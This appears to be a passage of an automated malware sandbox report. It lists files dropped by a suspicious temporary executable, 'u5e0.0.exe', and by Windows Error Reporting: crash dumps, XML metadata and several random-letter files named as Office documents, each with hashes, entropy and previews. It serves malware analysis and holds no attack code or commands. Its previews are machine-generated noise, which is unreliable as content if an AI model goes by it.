Preview:	MDMP..a..... .......ge'f............4...........T...H............ ......t....5..........`.......8...........T...........X5...l..........x#..........d%..............................................................................eJ.......%......GenuineIntel............T.......H...Re'f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER22E6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.69915106184725
Encrypted:	false
SSDEEP:	192:R6l7wVeJJ16WuRe6Y9hSU9BCgmfPvcpDq89bj+sfVBm:R6lXJr6u6YLSU9BCgmfPvyj9fK
MD5:	CB1FC58FA214074E01A99BFC18B65683
SHA1:	C6C23B458FFBB3B646C4B38A03BF5C51D6E2AB9F
SHA-256:	FA3350B2B4578B487581012BBAE4A36B8167507DB539B387B10E3BB1DB1C9703
SHA-512:	99521C82831065C67E48ED47422238938A68D47FE18B23C060935027D14372283C507C50DED86B937CB8BD177AA38C10316D1FAE49BAC41DD1EDCDEDBB152B98
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2316.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.472598825273607
Encrypted:	false
SSDEEP:	48:cvIwWl8zsHJg77aI9/kWpW8VYCYm8M4J/CBF+T+q8bgblTbRS5Vd:uIjfpI7J97VKJaaTOy25Vd
MD5:	E38DE8A10EC8D8C0BAB4EA4B9182DFD1
SHA1:	BCBD41F66718E4D2905DFEB799AB521342F22EBF
SHA-256:	4B8482AE93086D3E2E47514B636EF63E38895432CCE404FCB970152C5C0FFC9D
SHA-512:	38F926268F6A326C1C0E156CABBA23ACF07A07AF6B62F16EF87103CD42ACF76F82AC31160AA2278494EDA1116A9AA0E724CE257485599BDC4B0A46087E7C5FF4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="292240" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER87F8.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Apr 23 07:38:41 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	56874
Entropy (8bit):	2.6503357957012517
Encrypted:	false
SSDEEP:	384:KN7P+toLXjp9EEi69XJWesY3ZeOGLmWdXgo4O6YWQ:fo/TEEiinsY3Ze9mWRV6RQ
MD5:	8B77E87787A25E80EBEF29C5E2F748DA
SHA1:	44839F1507094563D72210DE2D54C053E55147AE
SHA-256:	4122A4AEC19052531E22526AF2E681CA9D9B1D298A61B0C878F7D4F1A16B8869
SHA-512:	ACA64CAED75A05A9DA1F36DB0D959E01EFC1DC949A787648F9B8BD9EF5D33AEFA011EDE59E32384971943949DD8D8E9E09D8789054CB978BB6478798FD946455
Malicious:	false
Preview:	MDMP..a..... ........e'f............4...........p...<...........22..........T.......8...........T............S..............."...........$..............................................................................eJ......0%......GenuineIntel............T...........Xe'f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8903.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6308
Entropy (8bit):	3.714230011345565
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbPJ6GeYa711gaMQU089bijsf0SWm:R6l7wVeJPJ6/YaEpD089bijsf0SWm
MD5:	561079F16885E9AA35C6B3C804C84EE9
SHA1:	36BBA6FAC9CA4A709B67D2A620FC5C59A439FA48
SHA-256:	ECDD7621CBDF63DB4B4AAA6B9354B9947B3C1C024DEC8EFBF98323CCB52558C5
SHA-512:	AA37FA77D8D4E7D304E6499700C4CCAFB98FE17B3EBB63744B746DE6A6279EFD284F154E78F6D513F854262633BDB08E988FF79BD7CBBB4ABA5AC84339B3D748
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8923.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4555
Entropy (8bit):	4.429072232321657
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI9/kWpW8VYE5Ym8M4J7aJmgXUFGP+q8EBFtTofCuJuydd:uIjfeI7J97V0JwifP4ydd
MD5:	C450AD3FE058A187AA254E273815741A
SHA1:	4A7D1E51832EF70BCB88E190D549324806299D6C
SHA-256:	5823D5E0E7F2ADCCA16C1DC627152B1C71CAB9A710D1A4D495682BFF0335A768
SHA-512:	55B42FA78BE4BD4D3C4C92E0460791B06E90C0C9DF82C2CDC399F93F4B8C7F2E2534D146C9C341FC770F2A03FD8D2FCAED5DCA03FE3A962D9A86D7D7D38051C3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="292241" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\RAYHIWGKDI.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\ProgramData\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69782189124949
Encrypted:	false
SSDEEP:	24:Ejrsjf7MixEleswsyrKNRsfqDG97h9JFQttKZUsgd:AruwiCl9RyrKzDGvFothJd
MD5:	0640503E533EFB11CC70F43D2FFF4E26
SHA1:	EEACB5C334E23451DEF6DF7B1DBC836F8D5DC7F1
SHA-256:	F1E1D526371BA959E03143C250244912FE0B9C0002FB521B35EBF6B303A45240
SHA-512:	10A6184DE66D8DCFB784A4CADD010433A6E64B5C2BBDE73C5E804CB9C4A1DD42589D5B3F81004548BD4F4B48CDEC5E59F703C6E1CC91052578C191B0420B3F20
Malicious:	false
Preview:	RAYHIWGKDIRTARQYQWOBCGSCZTUKIHKHGIDMMEQIAQREXBEXSICMBOCZGGWHBLUMCKDMBQEITRPKYTMYLFIYWQOJESATZEPWZIOXPWBQZTJXLAJZABRWIVUBVJFSNDCHMUKOSZLAGXHWLJOZTOGXVRCKZUWMQJXXEBALSHWQQWMZSSNQPYAVMCOWPGIQXROQBVBCHGZFDUPLKTFJZFLPQAZUSOCBPSHUJTOHHLCAJMVXHEMQRTWBFOCSIQLCVPUVRLGBXUQDWIUHVAEKDXVYQFLOJKPUTQAUYMMBEAALRHWXLPSGJQAXQEKMLZIZODFPAFRSSEYDMLJMRHMTAAIXEFUIILJKVGEZOYKKWEPVJQVNYFFYKRTQETFXFNAJIKRVPASKSGPKFCKZPAWWPVZRALMCBKRDOEIBIKKTHQIKXETYHIXFIDXRTNRQTJUYJKPFSYLHGPQHDQCLEGRHMOWEKRHPYXHYBEJRWKNVHYVSFWCDDPTNQKIIPYEUERDNPUHTABOGALJFLNCHFVUUXYWKPWLFGSGGMLBJNUKSZDRMWINHKUODGVGUBXUFJZPIOPPUJJYPIYBSMFJDODMOMNHZLFGXCLRVZWGCTYATVPBVTSKSTKWSAFNJQHUTMYXATQBLVEOPUSEAHMLQDLRSJXGJWRUIJXFKGYOEOWEZOSKCJPIVESIUXOBETKSWFUVRRKSLBTDFQSCFNKQERIRRRREBLOQVLIDYLYKYFMCQBLBQTNJMMMKSVARWYDTJAARNVMOUPHYNYYQMCBERSBXMHXDBNYDZXQLRKYTIFDCWTEPNQGQDWHEMKECWRJGPESGZBVSBOMTJRUQQIBGIJFHOYKRJHNKMSSTEXXZGWSIGMLAJNJNUENSYJRBGUJKNETIMQHONDPCBMBYBIBNOHNJQYWEOHOCGOHXGWYYBPTHRZNFMHKEAHSEPDNXXSDYRREJULDTKDSLQABJKBZDQSIPXTUMOMUNOTGBAJQSBTRFIGSLC

C:\ProgramData\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696913287597031
Encrypted:	false
SSDEEP:	24:TEp0dGAR5tKV4V1dnQcncjGi20QoVwGQqh3:20Iw5tKOncjGUwra
MD5:	44ECF9E98785299129B35CBDBCAB909B
SHA1:	4D92AFB00FE614CC8B795F1AF28173DBE76FE7F5
SHA-256:	06E706536CB7D543E6068C98C90721CAD89C23D16D37444F46F9B01C4380DF9E
SHA-512:	1FA347223014BB3AC0106948B07E337B1A98C0BA2D98AC0ADD821D1B3CE9F75681F6383925F5E614F36750C5B9FB92D1C8EEEDC05469FBC6EA3F281D8B52B556
Malicious:	false
Preview:	SFPUSAFIOLDMTRNUTGNTJUWFCWSZSHWEDVXRKVRQQJURAYWLWUUBTIKENFOXKWAEIMQEIZNZNRADQPATZGCMDPRDXLQGZUFJZGZDRTSVNCHAUPMRLPRPZKGVAVXYEVCKEHKMMJGKSJOOUYGYLDDIEYHRSUUPROPBGJMTERPOAVKYFPSCESRJNQZFKBQPUDQDDUMCFWKLZTOAKIRCBYNHNUNDHQGUCZFGLFAWYRAYVDHRMGQXAXAOYSCNPGEKEPCMQBIHRFANOHHAWKRVIORZYSDKULQZFRPSGFVYRDRVLMMPKWJDXUOEBNLILNONKXLMXLVIUCYNNQGCPDXMGSCUEKRTGZJHMNRUEKEIJFJIAHVLHOVPEFBBLWOKZSZSYSSOQIMAXYTLNUMGPOHCVAJUEBTRJRPRJCOTKTDCOEZCJXDLESVDTKVOFQWENRQDQXACWTCILXCPGHHUNHJNQLPPCERJAOCZFIXIHZKTCKZMXYDXVVFZUURETLUVBDNYJHWBIGQTEBATUDWNJLGPYCGIXUBQTVJPDRWVOFIQDYMJOMWUQUNCHQWGETEEEIJZNHHUYACVFRBGSWATTYVHFTURPBDTDDQTWASRBMLCMLRKIGMHWRHHHUVZTGIFNIDBHRKNFOYFIOYERMIXFEIANSZHVUVBFJOQNNJGQUNDLTPKRMYXNUHBOFQLLIDRDFMIAAVQNNXFNDRFBIGEVUSBEJUVVSTEJYKSAUCFDNNJQTSVXAUBHAPFHJIYCNFJQPWEXKMUQRCKERPSFCQKHEDKHHRNWTLAMXHJLOSIZOKYIMDHNEIBAUBKXVXZVXMAZNFTTYQGDGZHKLIHZJNIVHVZHYMNESIMFITKHGIPXKXZDBLBTKTNZDKZTKDHQQJCJDTRVKOCTCXPMDLKSOBGZSQQUTNFYYEOCJVZSZUSESOBKMIJSKKSXTXITISLBTMALAVZEMHXQXVRBZCDKLOKWDYQIEQCKFLKBMPLIQMKDTJPRHOW

C:\ProgramData\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\ProgramData\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\ProgramData\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQ